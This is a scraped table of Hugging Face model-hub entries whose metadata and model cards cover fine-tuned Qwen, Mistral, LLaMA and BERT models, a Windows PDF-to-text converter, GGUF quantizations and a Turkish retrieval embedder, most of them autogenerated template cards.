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train · 790k rows

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PepitaxX/qwen3-0.6B-openQA_finetune_mmlu_fullprompt	PepitaxX	2025-05-30T10:48:29Z	0	0	transformers	[ "transformers", "safetensors", "qwen3", "text-generation", "unsloth", "trl", "sft", "conversational", "arxiv:1910.09700", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "region:us" ]	text-generation	2025-05-30T10:47:58Z	--- library_name: transformers tags: - unsloth - trl - sft --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated. - Developed by: [More Information Needed] - Funded by [optional]: [More Information Needed] - Shared by [optional]: [More Information Needed] - Model type: [More Information Needed] - Language(s) (NLP): [More Information Needed] - License: [More Information Needed] - Finetuned from model [optional]: [More Information Needed] ### Model Sources [optional] <!-- Provide the basic links for the model. --> - Repository: [More Information Needed] - Paper [optional]: [More Information Needed] - Demo [optional]: [More Information Needed] ## Uses <!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. --> ### Direct Use <!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. --> [More Information Needed] ### Downstream Use [optional] <!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app --> [More Information Needed] ### Out-of-Scope Use <!-- This section addresses misuse, malicious use, and uses that the model will not work well for. --> [More Information Needed] ## Bias, Risks, and Limitations <!-- This section is meant to convey both technical and sociotechnical limitations. --> [More Information Needed] ### Recommendations <!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. --> Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. ## How to Get Started with the Model Use the code below to get started with the model. [More Information Needed] ## Training Details ### Training Data <!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. --> [More Information Needed] ### Training Procedure <!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. --> #### Preprocessing [optional] [More Information Needed] #### Training Hyperparameters - Training regime: [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision --> #### Speeds, Sizes, Times [optional] <!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. --> [More Information Needed] ## Evaluation <!-- This section describes the evaluation protocols and provides the results. --> ### Testing Data, Factors & Metrics #### Testing Data <!-- This should link to a Dataset Card if possible. --> [More Information Needed] #### Factors <!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. --> [More Information Needed] #### Metrics <!-- These are the evaluation metrics being used, ideally with a description of why. --> [More Information Needed] ### Results [More Information Needed] #### Summary ## Model Examination [optional] <!-- Relevant interpretability work for the model goes here --> [More Information Needed] ## Environmental Impact <!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly --> Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). - Hardware Type: [More Information Needed] - Hours used: [More Information Needed] - Cloud Provider: [More Information Needed] - Compute Region: [More Information Needed] - Carbon Emitted: [More Information Needed] ## Technical Specifications [optional] ### Model Architecture and Objective [More Information Needed] ### Compute Infrastructure [More Information Needed] #### Hardware [More Information Needed] #### Software [More Information Needed] ## Citation [optional] <!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. --> BibTeX: [More Information Needed] APA: [More Information Needed] ## Glossary [optional] <!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. --> [More Information Needed] ## More Information [optional] [More Information Needed] ## Model Card Authors [optional] [More Information Needed] ## Model Card Contact [More Information Needed]
elliotthwang/outputs	elliotthwang	2025-05-30T10:43:35Z	0	0	transformers	[ "transformers", "tensorboard", "safetensors", "generated_from_trainer", "trl", "sft", "base_model:mistralai/Mistral-7B-Instruct-v0.2", "base_model:finetune:mistralai/Mistral-7B-Instruct-v0.2", "endpoints_compatible", "region:us" ]	null	2025-04-14T09:43:55Z	--- base_model: mistralai/Mistral-7B-Instruct-v0.2 library_name: transformers model_name: outputs tags: - generated_from_trainer - trl - sft licence: license --- # Model Card for outputs This model is a fine-tuned version of [mistralai/Mistral-7B-Instruct-v0.2](https://huggingface.co/mistralai/Mistral-7B-Instruct-v0.2). It has been trained using [TRL](https://github.com/huggingface/trl). ## Quick start ```python from transformers import pipeline question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?" generator = pipeline("text-generation", model="elliotthwang/outputs", device="cuda") output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0] print(output["generated_text"]) ``` ## Training procedure This model was trained with SFT. ### Framework versions - TRL: 0.18.1 - Transformers: 4.52.2 - Pytorch: 2.6.0+cu124 - Datasets: 3.6.0 - Tokenizers: 0.21.1 ## Citations Cite TRL as: ```bibtex @misc{vonwerra2022trl, title = {{TRL: Transformer Reinforcement Learning}}, author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec}, year = 2020, journal = {GitHub repository}, publisher = {GitHub}, howpublished = {\url{https://github.com/huggingface/trl}} } ```
zadazada/Qwen2.5-0.5B-Instruct-Gensyn-Swarm-slow_dense_bee	zadazada	2025-05-30T10:42:09Z	0	0	transformers	[ "transformers", "safetensors", "generated_from_trainer", "rl-swarm", "grpo", "gensyn", "I am slow dense bee", "unsloth", "trl", "arxiv:2402.03300", "base_model:Gensyn/Qwen2.5-0.5B-Instruct", "base_model:finetune:Gensyn/Qwen2.5-0.5B-Instruct", "endpoints_compatible", "region:us" ]	null	2025-05-29T12:03:41Z	--- base_model: Gensyn/Qwen2.5-0.5B-Instruct library_name: transformers model_name: Qwen2.5-0.5B-Instruct-Gensyn-Swarm-slow_dense_bee tags: - generated_from_trainer - rl-swarm - grpo - gensyn - I am slow dense bee - unsloth - trl licence: license --- # Model Card for Qwen2.5-0.5B-Instruct-Gensyn-Swarm-slow_dense_bee This model is a fine-tuned version of [Gensyn/Qwen2.5-0.5B-Instruct](https://huggingface.co/Gensyn/Qwen2.5-0.5B-Instruct). It has been trained using [TRL](https://github.com/huggingface/trl). ## Quick start ```python from transformers import pipeline question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?" generator = pipeline("text-generation", model="zadazada/Qwen2.5-0.5B-Instruct-Gensyn-Swarm-slow_dense_bee", device="cuda") output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0] print(output["generated_text"]) ``` ## Training procedure This model was trained with GRPO, a method introduced in [DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models](https://huggingface.co/papers/2402.03300). ### Framework versions - TRL: 0.15.2 - Transformers: 4.48.2 - Pytorch: 2.5.1 - Datasets: 3.6.0 - Tokenizers: 0.21.1 ## Citations Cite GRPO as: ```bibtex @article{zhihong2024deepseekmath, title = {{DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models}}, author = {Zhihong Shao and Peiyi Wang and Qihao Zhu and Runxin Xu and Junxiao Song and Mingchuan Zhang and Y. K. Li and Y. Wu and Daya Guo}, year = 2024, eprint = {arXiv:2402.03300}, } ``` Cite TRL as: ```bibtex @misc{vonwerra2022trl, title = {{TRL: Transformer Reinforcement Learning}}, author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallouédec}, year = 2020, journal = {GitHub repository}, publisher = {GitHub}, howpublished = {\url{https://github.com/huggingface/trl}} } ```
JingyaoLi/ScienceLLaMA-3b	JingyaoLi	2025-05-30T10:39:39Z	0	0	transformers	[ "transformers", "safetensors", "llama", "text-generation", "llama-factory", "full", "generated_from_trainer", "conversational", "base_model:meta-llama/Llama-3.2-3B-Instruct", "base_model:finetune:meta-llama/Llama-3.2-3B-Instruct", "license:other", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "region:us" ]	text-generation	2025-05-30T06:44:54Z	--- library_name: transformers license: other base_model: meta-llama/Llama-3.2-3B-Instruct tags: - llama-factory - full - generated_from_trainer model-index: - name: ScienceLLaMA-3B results: [] --- <!-- This model card has been generated automatically according to the information the Trainer had access to. You should probably proofread and complete it, then remove this comment. --> # ScienceLLaMA-3B <p align="center"> • 🤗 <a href="https://huggingface.co/datasets/JingyaoLi/Science-Logits-1.2M" target="_blank">Data </a> • 🤗 <a href="https://huggingface.co/JingyaoLi/ScienceLLaMA-3b" target="_blank">ScienceLLaMA-3B </a> • 🤗 <a href="https://huggingface.co/JingyaoLi/ScienceLLaMA-1b" target="_blank">ScienceLLaMA-1B </a> • 🐱 <a href="Logits-based Finetuning" target="_blank">Code</a> • 📃 Paper (TO be released) <br> </p> This model is a fine-tuned with Logits-Based Finetuning on the [JingyaoLi/Science-Logits-1.2M](https://huggingface.co/datasets/JingyaoLi/Science-Logits-1.2M), which integrates the strengths of supervised learning and knowledge distillation by combining teacher logits with ground truth labels. This preserves both correctness and linguistic diversity. <div style="text-align: center;"> <img src="./images/example.png" alt="example" /> </div> ## Training procedure ### Training hyperparameters The following hyperparameters were used during training: - learning_rate: 1e-06 - train_batch_size: 8 - eval_batch_size: 8 - seed: 42 - distributed_type: multi-GPU - num_devices: 8 - gradient_accumulation_steps: 4 - total_train_batch_size: 256 - total_eval_batch_size: 64 - optimizer: Adam with betas=(0.9,0.999) and epsilon=1e-08 - lr_scheduler_type: cosine - lr_scheduler_warmup_ratio: 0.1 - num_epochs: 1 ### Training results ### Framework versions - Transformers 4.45.0 - Pytorch 2.4.0+cu121 - Datasets 2.21.0 - Tokenizers 0.20.1
kalle07/pdf2txt_parser_converter	kalle07	2025-05-30T10:36:53Z	0	4	null	[ "parser", "parsing", "PDF", "pdfplumber", "docling", "txt", "tables", "python", "windows", "RAG", "en", "de", "region:us" ]	null	2025-05-13T14:52:51Z	--- language: - en - de tags: - parser - parsing - PDF - pdfplumber - docling - txt - tables - python - windows - RAG --- # <b>PDF to TXT converter ready to chunck for your RAG</b> <b>ONLY WINDOWS</b><br> <b>EXE and PY available (en and german)</b><br> better input = better output<br> <b>⇨</b> give me a ❤️, if you like ;)<br><br> ... Most LLM applications only convert your PDF simple to txt, nothing more, its like you save your PDF as txt file. Blocks of text that are close together are often mixed up and tables cannot be read logically. Therefore its better to convert it with some help of a <b>"Parser"</b>. The embedder can now find a better context.<br> I work with "<b>pdfplumber/pdfminer</b>" none OCR, so its very fast!<br> <ul style="line-height: 1.05;"> <li>Works with single and multi pdf list, works with folder</li> <li>Intelligent multiprocessing</li> <li>Error tolerant, that means if your PDF is not convertible, it will be skipped, no special handling</li> <li>Instant view of the result, hit one pdf on top of the list</li> <li>Converts some common tables as json-foramt inside the txt file, readable for embedder</li> <li>Adds the absolute PAGE number to each page</li> <li>Adds the label “Chapter” for large font and/or “important” for bold font</li> <li>tested on 300 PDF files ~30000 pages</li> <li>All txt files will be created in original folder of PDF</li> <li>All previous txt files are overwritten</li> <li>aprox 5 to 20 Pages/sec - depends on complexity</li> <li>tested on 300 PDF files ~30000 pages</li> </ul> <br> This I have created with my brain and the help of chatGPT, Iam not a coder... sorry so I will not fulfill any wishes unless there are real errors.<br> It is really hard for me with GUI and the Function and in addition to compile it.<br> For the python-file you need to import missing libraries.<br> Of course there is a lot of need for optimization(save/error-handling) or the use of other parser libraries, but it's a start. the example codes process about 10-15 pages/sec. <br><br> ... <br> I also have a "<b>docling</b>" parser with OCR (GPU is need for fast processing), its only be a python-file, not compiled.<br> You have to download all libs, and if you start (first time) internal also OCR models are downloaded. At the moment i have prepared a kind of multi docling, the number of parallel processed PDFs depend on VRAM and if you use OCR only for tables or for all. I have set VRAM = 16GB (my GPU RAM, you should set yours) and the multiple calls for docling are VRAM/1.3, so it uses ~12GB (in my version) and processes 12 PDFs at once, only txt and tables are converted, so no images no diagrams (to process pages in parallel its to complicate). For now all PDFs must be same folder like the python file. If you change OCR for all the VRAM consum is rasing you have to set 1.3 to 2 or more. <br><br> <b>now have fun and leave a comment if you like ;)</b><br> on discord "sevenof9" <br> my embedder collection:<br> https://huggingface.co/kalle07/embedder_collection <br> <br> I am not responsible for any errors or crashes on your system. If you use it, you take full responsibility!
mradermacher/Flex-VL-7B-GGUF	mradermacher	2025-05-30T10:36:37Z	0	0	transformers	[ "transformers", "gguf", "en", "base_model:jongwooko/Flex-VL-7B", "base_model:quantized:jongwooko/Flex-VL-7B", "endpoints_compatible", "region:us", "conversational" ]	null	2025-05-30T10:10:40Z	--- base_model: jongwooko/Flex-VL-7B language: - en library_name: transformers quantized_by: mradermacher tags: [] --- ## About <!-- ### quantize_version: 2 --> <!-- ### output_tensor_quantised: 1 --> <!-- ### convert_type: hf --> <!-- ### vocab_type: --> <!-- ### tags: --> static quants of https://huggingface.co/jongwooko/Flex-VL-7B <!-- provided-files --> weighted/imatrix quants seem not to be available (by me) at this time. If they do not show up a week or so after the static ones, I have probably not planned for them. Feel free to request them by opening a Community Discussion. ## Usage If you are unsure how to use GGUF files, refer to one of [TheBloke's READMEs](https://huggingface.co/TheBloke/KafkaLM-70B-German-V0.1-GGUF) for more details, including on how to concatenate multi-part files. ## Provided Quants (sorted by size, not necessarily quality. IQ-quants are often preferable over similar sized non-IQ quants) \| Link \| Type \| Size/GB \| Notes \| \|:-----\|:-----\|--------:\|:------\| \| [GGUF](https://huggingface.co/mradermacher/Flex-VL-7B-GGUF/resolve/main/Flex-VL-7B.Q2_K.gguf) \| Q2_K \| 3.1 \| \| \| [GGUF](https://huggingface.co/mradermacher/Flex-VL-7B-GGUF/resolve/main/Flex-VL-7B.Q3_K_S.gguf) \| Q3_K_S \| 3.6 \| \| \| [GGUF](https://huggingface.co/mradermacher/Flex-VL-7B-GGUF/resolve/main/Flex-VL-7B.Q3_K_M.gguf) \| Q3_K_M \| 3.9 \| lower quality \| \| [GGUF](https://huggingface.co/mradermacher/Flex-VL-7B-GGUF/resolve/main/Flex-VL-7B.Q3_K_L.gguf) \| Q3_K_L \| 4.2 \| \| \| [GGUF](https://huggingface.co/mradermacher/Flex-VL-7B-GGUF/resolve/main/Flex-VL-7B.IQ4_XS.gguf) \| IQ4_XS \| 4.4 \| \| \| [GGUF](https://huggingface.co/mradermacher/Flex-VL-7B-GGUF/resolve/main/Flex-VL-7B.Q4_K_S.gguf) \| Q4_K_S \| 4.6 \| fast, recommended \| \| [GGUF](https://huggingface.co/mradermacher/Flex-VL-7B-GGUF/resolve/main/Flex-VL-7B.Q4_K_M.gguf) \| Q4_K_M \| 4.8 \| fast, recommended \| \| [GGUF](https://huggingface.co/mradermacher/Flex-VL-7B-GGUF/resolve/main/Flex-VL-7B.Q5_K_S.gguf) \| Q5_K_S \| 5.4 \| \| \| [GGUF](https://huggingface.co/mradermacher/Flex-VL-7B-GGUF/resolve/main/Flex-VL-7B.Q5_K_M.gguf) \| Q5_K_M \| 5.5 \| \| \| [GGUF](https://huggingface.co/mradermacher/Flex-VL-7B-GGUF/resolve/main/Flex-VL-7B.Q6_K.gguf) \| Q6_K \| 6.4 \| very good quality \| \| [GGUF](https://huggingface.co/mradermacher/Flex-VL-7B-GGUF/resolve/main/Flex-VL-7B.Q8_0.gguf) \| Q8_0 \| 8.2 \| fast, best quality \| \| [GGUF](https://huggingface.co/mradermacher/Flex-VL-7B-GGUF/resolve/main/Flex-VL-7B.f16.gguf) \| f16 \| 15.3 \| 16 bpw, overkill \| Here is a handy graph by ikawrakow comparing some lower-quality quant types (lower is better): ![image.png](https://www.nethype.de/huggingface_embed/quantpplgraph.png) And here are Artefact2's thoughts on the matter: https://gist.github.com/Artefact2/b5f810600771265fc1e39442288e8ec9 ## FAQ / Model Request See https://huggingface.co/mradermacher/model_requests for some answers to questions you might have and/or if you want some other model quantized. ## Thanks I thank my company, [nethype GmbH](https://www.nethype.de/), for letting me use its servers and providing upgrades to my workstation to enable this work in my free time. Additional thanks to [@nicoboss](https://huggingface.co/nicoboss) for giving me access to his private supercomputer, enabling me to provide many more imatrix quants, at much higher quality, than I would otherwise be able to. <!-- end -->
jeongseokoh/qwen3_8b-with-conclusion-Alphabet_False_Multiple2_aggr_last_starting_with_inst	jeongseokoh	2025-05-30T10:36:05Z	21	0	transformers	[ "transformers", "safetensors", "qwen3", "text-generation", "conversational", "arxiv:1910.09700", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "region:us" ]	text-generation	2025-05-29T18:25:31Z	--- library_name: transformers tags: [] --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated. - Developed by: [More Information Needed] - Funded by [optional]: [More Information Needed] - Shared by [optional]: [More Information Needed] - Model type: [More Information Needed] - Language(s) (NLP): [More Information Needed] - License: [More Information Needed] - Finetuned from model [optional]: [More Information Needed] ### Model Sources [optional] <!-- Provide the basic links for the model. --> - Repository: [More Information Needed] - Paper [optional]: [More Information Needed] - Demo [optional]: [More Information Needed] ## Uses <!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. --> ### Direct Use <!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. --> [More Information Needed] ### Downstream Use [optional] <!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app --> [More Information Needed] ### Out-of-Scope Use <!-- This section addresses misuse, malicious use, and uses that the model will not work well for. --> [More Information Needed] ## Bias, Risks, and Limitations <!-- This section is meant to convey both technical and sociotechnical limitations. --> [More Information Needed] ### Recommendations <!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. --> Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. ## How to Get Started with the Model Use the code below to get started with the model. [More Information Needed] ## Training Details ### Training Data <!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. --> [More Information Needed] ### Training Procedure <!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. --> #### Preprocessing [optional] [More Information Needed] #### Training Hyperparameters - Training regime: [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision --> #### Speeds, Sizes, Times [optional] <!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. --> [More Information Needed] ## Evaluation <!-- This section describes the evaluation protocols and provides the results. --> ### Testing Data, Factors & Metrics #### Testing Data <!-- This should link to a Dataset Card if possible. --> [More Information Needed] #### Factors <!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. --> [More Information Needed] #### Metrics <!-- These are the evaluation metrics being used, ideally with a description of why. --> [More Information Needed] ### Results [More Information Needed] #### Summary ## Model Examination [optional] <!-- Relevant interpretability work for the model goes here --> [More Information Needed] ## Environmental Impact <!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly --> Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). - Hardware Type: [More Information Needed] - Hours used: [More Information Needed] - Cloud Provider: [More Information Needed] - Compute Region: [More Information Needed] - Carbon Emitted: [More Information Needed] ## Technical Specifications [optional] ### Model Architecture and Objective [More Information Needed] ### Compute Infrastructure [More Information Needed] #### Hardware [More Information Needed] #### Software [More Information Needed] ## Citation [optional] <!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. --> BibTeX: [More Information Needed] APA: [More Information Needed] ## Glossary [optional] <!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. --> [More Information Needed] ## More Information [optional] [More Information Needed] ## Model Card Authors [optional] [More Information Needed] ## Model Card Contact [More Information Needed]
artseredaru/asdty	artseredaru	2025-05-30T10:30:48Z	0	0	null	[ "license:apache-2.0", "region:us" ]	null	2025-05-30T10:30:48Z	--- license: apache-2.0 ---
wongyaping/bert-finetuned-ner	wongyaping	2025-05-30T10:30:39Z	11	0	transformers	[ "transformers", "safetensors", "bert", "token-classification", "generated_from_trainer", "dataset:conll2003", "base_model:google-bert/bert-base-cased", "base_model:finetune:google-bert/bert-base-cased", "license:apache-2.0", "model-index", "autotrain_compatible", "endpoints_compatible", "region:us" ]	token-classification	2025-05-29T17:34:38Z	--- library_name: transformers license: apache-2.0 base_model: bert-base-cased tags: - generated_from_trainer datasets: - conll2003 metrics: - precision - recall - f1 - accuracy model-index: - name: bert-finetuned-ner results: - task: name: Token Classification type: token-classification dataset: name: conll2003 type: conll2003 config: conll2003 split: validation args: conll2003 metrics: - name: Precision type: precision value: 0.9329913964262078 - name: Recall type: recall value: 0.9490070683271625 - name: F1 type: f1 value: 0.9409310862673118 - name: Accuracy type: accuracy value: 0.9860775887443339 --- <!-- This model card has been generated automatically according to the information the Trainer had access to. You should probably proofread and complete it, then remove this comment. --> # bert-finetuned-ner This model is a fine-tuned version of [bert-base-cased](https://huggingface.co/bert-base-cased) on the conll2003 dataset. It achieves the following results on the evaluation set: - Loss: 0.0643 - Precision: 0.9330 - Recall: 0.9490 - F1: 0.9409 - Accuracy: 0.9861 ## Model description More information needed ## Intended uses & limitations More information needed ## Training and evaluation data More information needed ## Training procedure ### Training hyperparameters The following hyperparameters were used during training: - learning_rate: 2e-05 - train_batch_size: 8 - eval_batch_size: 8 - seed: 42 - optimizer: Use OptimizerNames.ADAMW_TORCH with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments - lr_scheduler_type: linear - num_epochs: 3 ### Training results \| Training Loss \| Epoch \| Step \| Validation Loss \| Precision \| Recall \| F1 \| Accuracy \| \|:-------------:\|:-----:\|:----:\|:---------------:\|:---------:\|:------:\|:------:\|:--------:\| \| 0.0745 \| 1.0 \| 1756 \| 0.0656 \| 0.9098 \| 0.9382 \| 0.9238 \| 0.9832 \| \| 0.0336 \| 2.0 \| 3512 \| 0.0713 \| 0.9336 \| 0.9436 \| 0.9386 \| 0.9851 \| \| 0.0214 \| 3.0 \| 5268 \| 0.0643 \| 0.9330 \| 0.9490 \| 0.9409 \| 0.9861 \| ### Framework versions - Transformers 4.52.3 - Pytorch 2.5.1 - Datasets 3.3.2 - Tokenizers 0.21.0
exala/db_slr_7.1.2	exala	2025-05-30T10:30:10Z	0	0	transformers	[ "transformers", "safetensors", "distilbert", "text-classification", "arxiv:1910.09700", "autotrain_compatible", "endpoints_compatible", "region:us" ]	text-classification	2025-05-30T10:29:42Z	--- library_name: transformers tags: [] --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. 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Edit the suggested text below accordingly --> Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. 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muqtasid87/qwen2.5vl-finetune-platesmania-dataset-v1_qv	muqtasid87	2025-05-30T10:26:05Z	0	0	transformers	[ "transformers", "safetensors", "arxiv:1910.09700", "endpoints_compatible", "region:us" ]	null	2025-05-30T10:25:59Z	--- library_name: transformers tags: [] --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. 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ytu-ce-cosmos/turkish-e5-large	ytu-ce-cosmos	2025-05-30T10:19:36Z	1,271	12	null	[ "safetensors", "xlm-roberta", "Turkish", "turkish", "retrieval", "passage-retrieval", "feature-extraction", "tr", "arxiv:2307.14134", "base_model:intfloat/multilingual-e5-large-instruct", "base_model:finetune:intfloat/multilingual-e5-large-instruct", "license:mit", "region:us" ]	feature-extraction	2025-04-11T07:50:37Z	--- license: mit language: - tr base_model: - intfloat/multilingual-e5-large-instruct tags: - Turkish - turkish - retrieval - passage-retrieval pipeline_tag: feature-extraction --- <img src="./static/cover.png" width=1024> # Turkish-e5-Large This is a finetune version of model intfloat/multilingual-e5-large-instruct with various Turkish datasets. Recommended Instruct: "Given a Turkish search query, retrieve relevant passages written in Turkish that best answer the query" ## Example Usage ```python from sentence_transformers import SentenceTransformer def get_detailed_instruct(task_description: str, query: str) -> str: return f'Instruct: {task_description}\nQuery: {query}' # Görev: Web arama sorgusuna uygun bilgiyi içeren pasajları getir task = 'Given a Turkish search query, retrieve relevant passages written in Turkish that best answer the query' queries = [ get_detailed_instruct(task, 'Kolay bir kahvaltı tarifi nedir?'), get_detailed_instruct(task, 'Dış mekan yürüyüşü için en iyi saat hangisidir?') ] documents = [ "Güne enerjik başlamak için yulaf ezmesi, süt ve meyveyle hazırlanan basit bir kahvaltı hem pratik hem de besleyicidir. Üzerine biraz bal ve tarçın eklerseniz lezzeti artar.", "Sabah saatleri, özellikle 07:00 ile 10:00 arası, açık havada yürüyüş yapmak için idealdir. Bu saatlerde hava daha serin ve temiz olur, ayrıca gün ışığı vücut ritmini destekler.", "Türkiye'nin en uzun nehri Kızılırmak'tır. Sivas'tan doğar, Karadeniz'e dökülür ve yaklaşık 1.355 kilometre uzunluğundadır." ] input_texts = queries + documents model = SentenceTransformer('ytu-ce-cosmos/turkish-e5-large') embeddings = model.encode(input_texts, convert_to_tensor=True, normalize_embeddings=True) scores = (embeddings[:2] @ embeddings[2:].T) * 100 for i, query in enumerate(queries): print(f"\nSorgu: {query.split('Query: ')[-1]}") for j, doc in enumerate(documents): print(f" → Belge {j+1} Skoru: {scores[i][j]:.2f}") print(f" İçerik: {doc[:80]}...") """ Sorgu: Kolay bir kahvaltı tarifi nedir? → Belge 1 Skoru: 67.36 İçerik: Güne enerjik başlamak için yulaf ezmesi, süt ve meyveyle hazırlanan basit bir ka... → Belge 2 Skoru: 31.68 İçerik: Sabah saatleri, özellikle 07:00 ile 10:00 arası, açık havada yürüyüş yapmak için... → Belge 3 Skoru: 7.06 İçerik: Türkiye'nin en uzun nehri Kızılırmak'tır. Sivas'tan doğar, Karadeniz'e dökülür v... Sorgu: Dış mekan yürüyüşü için en iyi saat hangisidir? → Belge 1 Skoru: 28.14 İçerik: Güne enerjik başlamak için yulaf ezmesi, süt ve meyveyle hazırlanan basit bir ka... → Belge 2 Skoru: 78.02 İçerik: Sabah saatleri, özellikle 07:00 ile 10:00 arası, açık havada yürüyüş yapmak için... → Belge 3 Skoru: 18.70 İçerik: Türkiye'nin en uzun nehri Kızılırmak'tır. Sivas'tan doğar, Karadeniz'e dökülür v... """ ``` # Citations ```bibtex @article{kesgin2023developing, title={Developing and Evaluating Tiny to Medium-Sized Turkish BERT Models}, author={Kesgin, Himmet Toprak and Yuce, Muzaffer Kaan and Amasyali, Mehmet Fatih}, journal={arXiv preprint arXiv:2307.14134}, year={2023} } ``` ### Contact COSMOS AI Research Group, Yildiz Technical University Computer Engineering Department <br> https://cosmos.yildiz.edu.tr/ <br> [email protected] <br>
tungduong261204/DPO_5000_v2	tungduong261204	2025-05-30T10:17:04Z	0	0	peft	[ "peft", "safetensors", "arxiv:1910.09700", "base_model:unsloth/Llama-3.2-1B", "base_model:adapter:unsloth/Llama-3.2-1B", "region:us" ]	null	2025-05-30T10:16:52Z	--- base_model: unsloth/Llama-3.2-1B library_name: peft --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> - Developed by: [More Information Needed] - Funded by [optional]: [More Information Needed] - Shared by [optional]: [More Information Needed] - Model type: [More Information Needed] - Language(s) (NLP): [More Information Needed] - License: [More Information Needed] - Finetuned from model [optional]: [More Information Needed] ### Model Sources [optional] <!-- Provide the basic links for the model. --> - Repository: [More Information Needed] - Paper [optional]: [More Information Needed] - Demo [optional]: [More Information Needed] ## Uses <!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. --> ### Direct Use <!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. --> [More Information Needed] ### Downstream Use [optional] <!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app --> [More Information Needed] ### Out-of-Scope Use <!-- This section addresses misuse, malicious use, and uses that the model will not work well for. --> [More Information Needed] ## Bias, Risks, and Limitations <!-- This section is meant to convey both technical and sociotechnical limitations. --> [More Information Needed] ### Recommendations <!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. --> Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. 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(2019)](https://arxiv.org/abs/1910.09700). - Hardware Type: [More Information Needed] - Hours used: [More Information Needed] - Cloud Provider: [More Information Needed] - Compute Region: [More Information Needed] - Carbon Emitted: [More Information Needed] ## Technical Specifications [optional] ### Model Architecture and Objective [More Information Needed] ### Compute Infrastructure [More Information Needed] #### Hardware [More Information Needed] #### Software [More Information Needed] ## Citation [optional] <!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. --> BibTeX: [More Information Needed] APA: [More Information Needed] ## Glossary [optional] <!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. --> [More Information Needed] ## More Information [optional] [More Information Needed] ## Model Card Authors [optional] [More Information Needed] ## Model Card Contact [More Information Needed] ### Framework versions - PEFT 0.15.2
